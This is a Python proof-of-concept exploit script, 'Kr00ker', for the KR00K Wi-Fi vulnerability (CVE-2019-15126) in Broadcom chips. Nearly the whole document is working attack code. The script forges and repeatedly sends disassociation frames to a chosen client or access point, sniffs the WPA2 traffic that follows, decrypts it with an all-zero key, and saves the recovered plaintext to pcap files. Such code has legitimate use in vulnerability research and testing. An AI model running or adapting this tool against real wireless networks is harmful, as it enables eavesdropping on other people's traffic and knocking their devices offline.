Broadcom Wi-Fi KR00K Proof Of Concept

`# Kr00ker  
#  
# Experimetal KR00K PoC in python3 using scapy  
#  
# Description:  
# This script is a simple experiment to exploit the KR00K vulnerability (CVE-2019-15126),   
# that allows to decrypt some WPA2 CCMP data in vulnerable devices.  
# More specifically this script attempts to retrieve Plaintext Data of WPA2 CCMP packets knowning:  
# * the TK (128 bites all zero)   
# * the Nonce (sent plaintext in packet header)  
# * the Encrypted Data  
#  
# Where:  
# * WPA2 AES-CCMP decryption --> AES(Nonce,TK) XOR Encrypted Data = Decrypted Data   
# * Decrypted stream starts with "\xaa\xaa\x03\x00\x00\x00"  
# * Nonce (104 bits) = Priority (1byte) + SRC MAC (6bytes) + PN (6bytes)  
#  
# This PoC works on WPA2 AES CCMP with Frequency 2.4GHz WLANs.  
#  
# References:  
# https://www.welivesecurity.com/wp-content/uploads/2020/02/ESET_Kr00k.pdf  
#  
#  
# Copyright (C) 2020 Maurizio Siddu  
#  
#  
# This program is free software: you can redistribute it and/or modify  
# it under the terms of the GNU General Public License as published by  
# the Free Software Foundation, either version 3 of the License, or  
# (at your option) any later version.  
#  
# This program is distributed in the hope that it will be useful,  
# but WITHOUT ANY WARRANTY; without even the implied warranty of  
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the  
# GNU General Public License for more details.  
#  
# You should have received a copy of the GNU General Public License  
# along with this program. If not, see <http://www.gnu.org/licenses/>  
  
  
  
  
  
import argparse, threading   
import datetime, sys, re  
from scapy.all import *  
from scapy.layers.dot11 import RadioTap, Dot11, Dot11Deauth  
from Cryptodome.Cipher import AES  
  
  
  
# Proof of Sympathy ;-)  
LOGO = """\  
__ _ ____ __ __ __ _ ____ ____   
( / )( _ \ / \ / \( / )( __)( _ \\  
) ( ) /( 0 )( 0 )) ( ) _) ) /  
(__\_)(__\_) \__/ \__/(__\_)(____)(__\_)  
"""  
  
  
KR00K_PATTERN = b'\xaa\xaa\x03\x00\x00\x00'  
  
  
class Krooker:  
# Define Krooker class  
def __init__(self, interface, target_mac, other_mac, reason, num, delay):  
self.interface = interface  
self.target_mac = target_mac  
self.other_mac = other_mac  
self.reason = reason  
self.num = num  
self.delay = delay  
  
  
def wpa2_decrypt(self, enc_pkt):  
# Try to decrypt the data contained in the sniffed packet  
t_key = bytes.fromhex("00000000000000000000000000000000")  
# This check is redundant  
if not enc_pkt.haslayer(Dot11CCMP):  
return None  
dot11 = enc_pkt[Dot11]  
dot11ccmp = enc_pkt[Dot11CCMP]  
  
# Extract the Packet Number (IV)  
PN = "{:02x}{:02x}{:02x}{:02x}{:02x}{:02x}".format(dot11ccmp.PN5,dot11ccmp.PN4,dot11ccmp.PN3,dot11ccmp.PN2,dot11ccmp.PN1,dot11ccmp.PN0)  
# Extract the victim MAC address  
source_addr = re.sub(':','',dot11.addr2)  
# Extract the QoS tid  
if enc_pkt.haslayer(Dot11QoS):  
tid = "{:01x}".format(enc_pkt[Dot11QoS].TID)  
else:  
tid = '0'  
priority = tid + '0'  
# Build the nonce  
ccmp_nonce = bytes.fromhex(priority) + bytes.fromhex(source_addr) + bytes.fromhex(PN)  
  
# Finally try to decrypt wpa2 data   
enc_cipher = AES.new(t_key, AES.MODE_CCM, ccmp_nonce, mac_len=8)  
decrypted_data = enc_cipher.decrypt(dot11ccmp.data[:-8])  
return decrypted_data  
  
  
  
def disassociate(self):  
# Forge the dot11 disassociation packet  
dis_packet = RadioTap()/Dot11(type=0, subtype=12, addr1=self.target_mac, addr2=self.other_mac, addr3=self.other_mac)/Dot11Deauth(reason=self.reason)  
# Loop to send the disassociation packets to the victim device  
while True:  
# Repeat every delay value seconds  
time.sleep(self.delay)  
print("["+str(datetime.now().time())+"][+] Disassociation frames (reason "+str(self.reason)+") sent to target "+self.target_mac+" as sender endpoint "+self.other_mac)  
sendp(dis_packet, iface=self.interface, count=self.num, verbose=False)  
  
  
  
def check_packet(self, sniffed_pkt):  
# Filter for WPA2 AES CCMP packets containing data to decrypt  
if sniffed_pkt[Dot11].type == 2 and sniffed_pkt.haslayer(Dot11CCMP):  
#print("["+str(datetime.now().time())+"][DEBUG] packet tipe:"+str(sniffed_pkt[Dot11].type)+" sub:"+str(sniffed_pkt[Dot11].subtype))  
# Decrypt the packets using the all zero temporary key  
dec_data = self.wpa2_decrypt(sniffed_pkt)  
# Check if the target is vulnerable  
if dec_data and dec_data[0:len(KR00K_PATTERN)] == KR00K_PATTERN:  
print("["+str(datetime.now().time())+"][+] Target "+self.target_mac+" is vulnerable to Kr00k, decrypted "+str(len(dec_data))+" bytes")  
hexdump(dec_data)  
# Save the encrypted and decrypted packets  
print("["+str(datetime.now().time())+"][+] Saving encrypted and decrypted 'pcap' files in current folder")  
dec_pkt = bytes.fromhex(re.sub(':','',self.target_mac) + re.sub(':','',self.other_mac)) + dec_data[6:]  
wrpcap("enc_pkts.pcap", sniffed_pkt, append=True)  
wrpcap("dec_pkts.pcap", dec_pkt, append=True)  
# Uncomment this if you need a one-shoot PoC decryption   
#sys.exit(0)  
#else:  
#print("["+str(datetime.now().time())+"][DEBUG] This data decryption with all zero TK went wrong")  
#pass  
  
  
  
def run_disassociation(self):  
# Run disassociate function in a background thread  
try:  
self.disassociate()  
except KeyboardInterrupt:  
print("\n["+str(datetime.now().time())+"][!] Exiting, caught keyboard interrupt")  
return  
  
  
  
  
  
def main():  
# Passing arguments  
parser = argparse.ArgumentParser(prog="kr00ker.py", usage="%(prog)s -i <interface-name> -s <SSID> -c <MAC-client> -n <num-packets> -r <reason-id> -t <target-id> -w <wifi-channel> -d <delay>")  
parser.add_argument("-i", "--interface", required=True, help="The Interface name that you want to send packets out of, it must be set in monitor mode", type=str)  
parser.add_argument("-b", "--bssid", required=True, help="The MAC address of the Access Point to test", type=str)  
parser.add_argument("-c", "--client", required=True, help="The MAC address of the Client Device to test", type=str)  
parser.add_argument("-n", "--number", required=False, help="The Number of disassociation packets you want to send", type=int, default=1)  
parser.add_argument("-r", "--reason", required=False, help="The Reason identifier of disassociation packets you want to send, accepted values from 1 to 99", type=int, default=0)  
parser.add_argument("-t", "--target", required=False, help="The Target identifier", choices=["ap", "client"], type=str, default="ap")  
parser.add_argument("-w", "--wifi_channel", required=False, help="The WiFi channel identifier", type=int, default="1")  
parser.add_argument("-d", "--delay", required=False, help="The delay for disassociation frames", type=int, default="4")  
args = parser.parse_args()  
  
# Print the kr00ker logo  
print(LOGO)  
  
# Start the fun!!  
try:  
interface = args.interface  
ap_mac = args.bssid.lower()  
client_mac = args.client.lower()  
reason = args.reason  
target_channel = args.wifi_channel  
n_pkts = args.number  
delay = args.delay  
  
# Set the selected channel  
if target_channel in range(1, 14):  
os.system("iwconfig " + interface + " channel " + str(target_channel))  
else:  
print("["+str(datetime.now().time())+"][-] Exiting, the specified channel "+target_channel+" is not valid")  
exit(1)  
  
# Check if valid device MAC Addresses have been specified  
if client_mac == "ff:ff:ff:ff:ff:ff" or ap_mac == "ff:ff:ff:ff:ff:ff":  
print("["+str(datetime.now().time())+"][-] Exiting, the specified FF:FF:FF:FF:FF:FF broadcast MAC address is not valid")  
exit(1)  
  
# Check if a valid reason have been specified  
if reason not in range(1,99):  
print("Exiting, specified a not valid disassociation Reason ID: "+str(reason))  
exit(1)  
  
# Set the MAC address of the target  
if args.target == "client":  
target_mac = client_mac  
other_mac = ap_mac  
print("["+str(datetime.now().time())+"][+] The Client device "+target_mac+" will be the target")  
else:  
target_mac = ap_mac  
other_mac = client_mac  
print("["+str(datetime.now().time())+"][+] The AP "+target_mac+" will be the target")  
  
# Krooker instance initialization  
krooker = Krooker(interface, target_mac, other_mac, reason, n_pkts, delay)  
  
# Start a background thread to send disassociation packets  
k_th = threading.Thread(target=krooker.run_disassociation)  
k_th.daemon = True # This does not seem to be useful  
k_th.start()  
  
# Start packet interception  
s_filter = "ether src "+str(target_mac)+" and ether dst "+str(other_mac)+" and type Data"  
sniff(iface=krooker.interface, filter=s_filter, prn=krooker.check_packet)   
  
except KeyboardInterrupt:  
print("\n["+str(datetime.now().time())+"][!] Exiting, caught keyboard interrupt")  
k_th.join()  
sys.exit(0)  
  
except scapy.error.Scapy_Exception:  
print("["+str(datetime.now().time())+"][!] Exiting, your wireless interface seems not in monitor mode")  
sys.exit(1)  
  
  
  
if __name__ == "__main__":  
main()  
`